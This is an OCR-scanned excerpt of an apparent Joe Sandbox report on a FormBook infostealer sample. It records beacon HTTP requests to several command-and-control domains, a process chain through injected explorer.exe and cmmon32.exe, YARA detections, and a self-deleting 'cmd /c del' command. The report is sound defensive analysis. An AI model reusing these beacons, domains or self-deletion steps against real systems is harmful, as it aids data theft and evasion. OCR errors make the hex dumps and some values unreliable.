2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 2f 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e
74 65 6e 74 3d 22 6a 6f 6f 6d 6¢ 61 2c 20 4a 6f 6f 6d 6¢ 61 2c 20 6a 6f 6f 6d 6¢ 61 20 31 2e 35 2¢ 20 77 6f 72 64 70 72 65
73732032 2e 352c 2044 7275 70 61 6¢ 22 20 2f 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74
69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4a 6f 6f 6d 6¢ 61 21 22 20 2f 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65
6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4a 6f 6f 6d 6¢ 61 21 20 31 2e 35 20 2d 20 4f 70 65 6e 20 53 6f 75
72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 22 20 2f 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67
65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 57 6f 72 64 50 72 65 73 73 20 32 2e 35 22 20 2f 3e 0a 20 20 20
2020 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e
74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20
20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 6
465 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 61 78 69 6d 75 6d 2d 73
63 61 6¢ 65 3d 31 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6¢ 65 3e 57 61 69 74 69 6e 67 20 66 6f 72 20 74 68
6520 72 65 64 69 72 65 63 74 69 72 6f 6e 2e 2e 2e 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6¢ 65
207479 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 62 61 63
6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 66 66 66 3b 20 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 20 22 48 65
6C 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 48 65 6¢ 76 65 74 69 63 61 2¢ 41 72 69 61 6C 2C 73 61 6e 73 2d 73 65 72
69 66 3b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6¢ 2¢ 20 62 6f 64 79 20 7b 77 69 64 74 68 3a 20 31 30 30
253b 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 20 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b
7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 70 61 6e 20 7b 63 6f 6¢ 6f 72 3a 20 23 38 37 38 37 38 37 3b 20 66 6f 6e 74
2d 73 69 7a 65 3a 20 31 32 70 74 3b 20 20 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65 72 3b 7d 0a 20 20 20 20
202020 20 20 20 20 20 68 31 20 7b 63 6f 6¢ 6f 72 3a 20 23 38 37 38 37 38 37 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31
387074 3b 20 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65 72 3b 7d Oa 20 20 20 20 20 20 20 20 20 20 20 20 2e
6C 69 6e 6b 20 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 34 30 70 78 3b 7d Oa 20

Data Ascii: <IDOCTYPE HTML><html lang="en-US"> <head> <meta charset="UTF-8" /> <meta http-equ
iv="content-type" content="text/html; charset=utf-8" /><meta name="robots" content="noindex, nofollow" /><meta
name="keywords" content="joomla, Joomla, joomla 1.5, wordpress 2.5, Drupal" /><meta hame="description" conten
t="Joomla!" /><meta name="generator" content="Joomla! 1.5 - Open Source Content Management" /><meta name="gene
rator" content="WordPress 2.5" /> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8" /> <meta
name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <title>Waiting for the redir
ectiron...</title> <style type="text/css"> body {background-color: #fffff; font-family: "Helvetica Neue", Helve
tica,Arial,sans-serif;} html, body {width: 100%; height: 100%; margin: 0; padding: 0;} span {color: #878787;
font-size: 12pt; text-align: center;} h1 {color: #878787; font-size: 18pt; text-align: center;} link {margin-top:
40px;}

Destination IP  Destination Port Process

104.21.2.218 80 C:\Windows\explorer.exe

Data

GET /ag9v/?9rq=VDs0HN8x6Kri7C1Uc2aKLXPFPOfeJseWm20J8K++Wp+sqWdpvRON2LvjpBxhiOu2NedX&BFQ=5j
10jAMHAOhX_ HTTP/1.1

Host: www.ebookgratis.online

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Thu, 14 Oct 2021 05:30:12 GMT

Transfer-Encoding: chunked

Connection: close

Cache-Control: max-age=3600

Expires: Thu, 14 Oct 2021 06:30:12 GMT

Location: https://www.ebookgratis.online/ag9v/?9rq=VDs0Hn8x6Kri7C1Uc2aKLXPFPOfeJseWm20J8K++Wp+sqWdpv
RON2LvjpBxhiOu2NedX&BFQ=5jI0jhAMHAOhX_

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/v3?s=uxw1tsnKlgtB7W5LJtTa5eumSOBk%2BN
%2BrbDmS98GelS3mtBU2HXDQ%2Buox4Xes1rOEFZ77hnABAYNvD506qIHscVIs9wqr%2BP69MQSOAASVd
VEXOAMZTjdkTFWFC%2Fhu%2FO01BVKLIRR5n%2F3t9"}],"group”:"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 69de6al2dc6a5b6e-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination IP Destination Port Process

199.59.242.153 80 C:\Windows\explorer.exe
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kBytes

Timestamp transferred

Oct 14, 2021 6073

07:30:17.527385950 CEST

Oct 14, 2021 6074

07:30:17.628267050 CEST

Session ID Source IP

5 192.168.2.4
kBytes

Timestamp transferred

Oct 14, 2021 6097

07:30:28.510090113 CEST

Copyright Joe Security LLC 2021

Direction

ouT

Source Port
49847

Direction
ouT

Data

GET /ag9v/?9rq=vpuErUH20wWLAPGAItxg3/Zj6XscnxJenLEapnG3NwgRIKVIYylOHnfsKkne QFORBHqYbR&BFQ=5j
10jhMHAOhX_ HTTP/1.1

Host: www.ovmfinacial.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Server: openresty

Date: Thu, 14 Oct 2021 05:30:17 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Set-Cookie: parking_session=927c3a40-3c29-567c-15¢2-72d0a3410220; expires=Thu, 14-Oct-2021 05:45:17 GMT; Max-
Age=900; path=/; HttpOnly

X-Adblock-Key: MFwwDQY JKoZIhveNAQEBBQADSWAWSAJBANDrp2lz7AOmMADaN8tA50LsWcjLFyQFch/P2Txc580Y
OelLb3vBw7J6f4pamkAQVSQuqgYsKx3YzdUHCvbVZvFUsCAWEAAQ==_j7GpDLGaTLJOrhGNdo+VonizNelzx47mFEL9
iz/Okv4QD4XHqgfn90fxM1Dhs8JbX0G2B2KZhqWK371CGAnllig==

Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-store, must-revalidate

Cache-Control: post-check=0, pre-check=0

Pragma: no-cache

Data Raw: 35 38 39 0d Oa 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6¢ 3e 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 20
6461 74 61 2d 61 64 62 6¢ 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41
4453 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6¢ 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51
46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73
4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 6a 37 47 70 44 4c 47 61 54 4c 4a 30
72 68 47 4e 64 6f 2b 56 6f 6e 69 7a 4e 65 6¢ 7a 78 34 37 6d 46 45 4c 39 69 7a 2f 4f 6b 76 34 51 44 34 58 48 71 66 6e 39
4f 66 78 4d 31 44 68 73 38 4a 62 58 6f 47 32 42 32 4b 5a 68 71 57 4b 33 37 31 43 47 41 6e 6¢ 49 69 67 3d 3d 22 3e 3c 68
65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76
69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69
6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6
222068 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e
22 2f 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f
7777 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64
6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 72 6b 69 6e 67 2e 62 6f 64 69 73
63 64 6e 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66
65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d
222063726f7373

Data Ascii: 589<!doctype html><html lang="en" data-adblockkey="MFwwDQYJKoZIhveNAQEBBQADSWAWSAJBANDrp
2|z7AOmMADaN8tA50LsWcjLFyQFch/P2Txc580YOelLb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsSCAWEAAQ=
=_j7GpDLGaTLJOrhGNdo+VonizNelzx47mFEL9iz/Okv4QD4XHqfn90fxM1Dhs8JbXoG2B2KZhqWK371CGAnllig==">
<head><meta charset="utf-8"><meta hame="viewport" content="width=device-width, initial-scale=1"><link rel="shortcut ic
on" href="/favicon.ico" type="image/x-icon"/><link rel="preconnect" href="https://www.google.com" crossorigin><link rel=
"dns-prefetch” href="https://parking.bodiscdn.com" crossorigin><link rel="dns-prefetch" href="https://fonts.googleapis.com”
cross

Destination IP  Destination Port Process

23.227.38.74 80 C:\Windows\explorer.exe

Data

GET /ag9v/?9rq=K9/CDnPG5wdyl4CHzmgShg3gLBJ4YNT1Y6jAhZ/FXp8/egWH1BEUOUCHJIEICRXztW+Z&BFQ=5j
10jhMHAOhX_ HTTP/1.1

Host: www.dollpartyla.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred Direction

Oct 14, 2021 6099 IN
07:30:28.557862997 CEST

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Data

HTTP/1.1 403 Forbidden

Date: Thu, 14 Oct 2021 05:30:28 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

X-Sorting-Hat-Podld: 189

X-Sorting-Hat-Shopld: 59880997054

X-Request-1D: ff951e54-78cb-49de-931e-6e9b39ead4ad

X-Permitted-Cross-Domain-Policies: none

X-XSS-Protection: 1; mode=block

X-Download-Options: noopen

X-Content-Type-Options: nosniff

X-Dc: gcp-europe-westl

CF-Cache-Status: DYNAMIC

Server: cloudflare

CF-RAY: 69de6a78386b698b-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Data Raw: 31 34 31 64 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e Oa
202020 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65
72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6¢ 65 3e Oa 20
202020 3c 7374 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78
2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 7
4 6d 6¢ 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6¢ 76 65 74 69
63 61 2c 41 72 69 61 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b
66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74
3231303025 7d626f64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6¢ 69 6e 65 2d 68 65 69 67
68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a
3170 78 20 73 6f 6¢ 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6C
6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f
6¢C 6f 72 3223 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69
67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65
3a 31 2e 357265 6d3b6d61 7267 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35
72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30
30 76 68 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6¢

Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" con
tent="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;paddi
ng:0}htmli{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-dec
oration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem O}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displ
ay:flex;min-height:100vh;flex-direction:col

Analysis Process: Wellis Inquiry.exe PID: 7036 Parent PID: 5404

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Copyright Joe Security LLC 2021

07:28:22

14/10/2021
C:\Users\user\Desktop\Wellis Inquiry.exe
true
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Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Written

File Read

‘C:\Users\user\Desktop\Wellis Inquiry.exe'
0xff0000

337408 bytes
C357A8010E661A49DF2E813BD22590B6
true

true

.Net C# or VB.NET

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000000.00000002.670890366.0000000003341000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000002.671146888.0000000004349000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000000.00000002.671146888.0000000004349000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000002.671146888.0000000004349000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

low

Show Windows behavior

Analysis Process: Wellis Inquiry.exe PID: 1680 Parent PID: 7036

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

Copyright Joe Security LLC 2021

07:28:30

14/10/2021
C:\Users\user\Desktop\Wellis Inquiry.exe
true

C:\Users\user\Desktop\Wellis Inquiry.exe
0x6a0000

337408 bytes
C357A8010E661A49DF2E813BD22590B6
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000002.745846154.0000000001090000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000003.00000002.745846154.0000000001090000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000002.745846154.0000000001090000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000002.745321491.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000003.00000002.745321491.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000002.745321491.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000002.745670982.0000000000C10000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000003.00000002.745670982.0000000000C10000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000002.745670982.0000000000C10000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group
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Reputation: low
File Activities Show Windows behavior
File Read
Analysis Process: explorer.exe PID: 3424 Parent PID: 1680

General

Start time: 07:28:31

Start date: 14/10/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

false

C:\Windows\Explorer.EXE

0x7ff6fee60000

3933184 bytes
AD5296B280E8F522A8A897C96BABOELD
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000004.00000000.715332371.000000000E4B9000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000004.00000000.715332371.000000000E4B9000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000004.00000000.715332371.000000000E4B9000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000004.00000000.699912453.000000000E4B9000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000004.00000000.699912453.000000000E4B9000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000004.00000000.699912453.000000000E4B9000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: high
File Activities Show Windows behavior
Analysis Process: cmmon32.exe PID: 5328 Parent PID: 3424

General

Start time: 07:29:03

Start date: 14/10/2021

Path: C:\Windows\SysWOW64\cmmon32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

true
C:\Windows\SysWOW64\cmmon32.exe
0x2c0000

36864 bytes
2879B30A164B9F7671B5E6B2E9F8DFDA
true

true

C, C++ or other language
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Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000002.922603929.0000000002D20000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000002.922603929.0000000002D20000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000002.922603929.0000000002D20000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000002.921975794.0000000000360000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000002.921975794.0000000000360000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000002.921975794.0000000000360000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000002.922486626.0000000002C20000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000002.922486626.0000000002C20000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000002.922486626.0000000002C20000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: moderate

File Activities Show Windows behavior

File Read

Analysis Process: cmd.exe PID: 7092 Parent PID: 5328

General
Start time: 07:29:07
Start date: 14/10/2021
Path: C:\Windows\SyswWOWe64\cmd.exe
Wow64 process (32bit): true
Commandline: /c del 'C:\Users\user\Desktop\Wellis Inquiry.exe’
Imagebase: 0x11d0000
File size: 232960 bytes
MD5 hash: F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high
File Activities Show Windows behavior

Analysis Process: conhost.exe PID: 6796 Parent PID: 7092

General

Start time: 07:29:07

Start date: 14/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff724c50000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Copyright Joe Security LLC 2021 Page 28 of 29



Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Disassembly

Code Analysis

Copyright Joe Security LLC Joe Sandbox Cloud Basic 33.0.0 White Diamond
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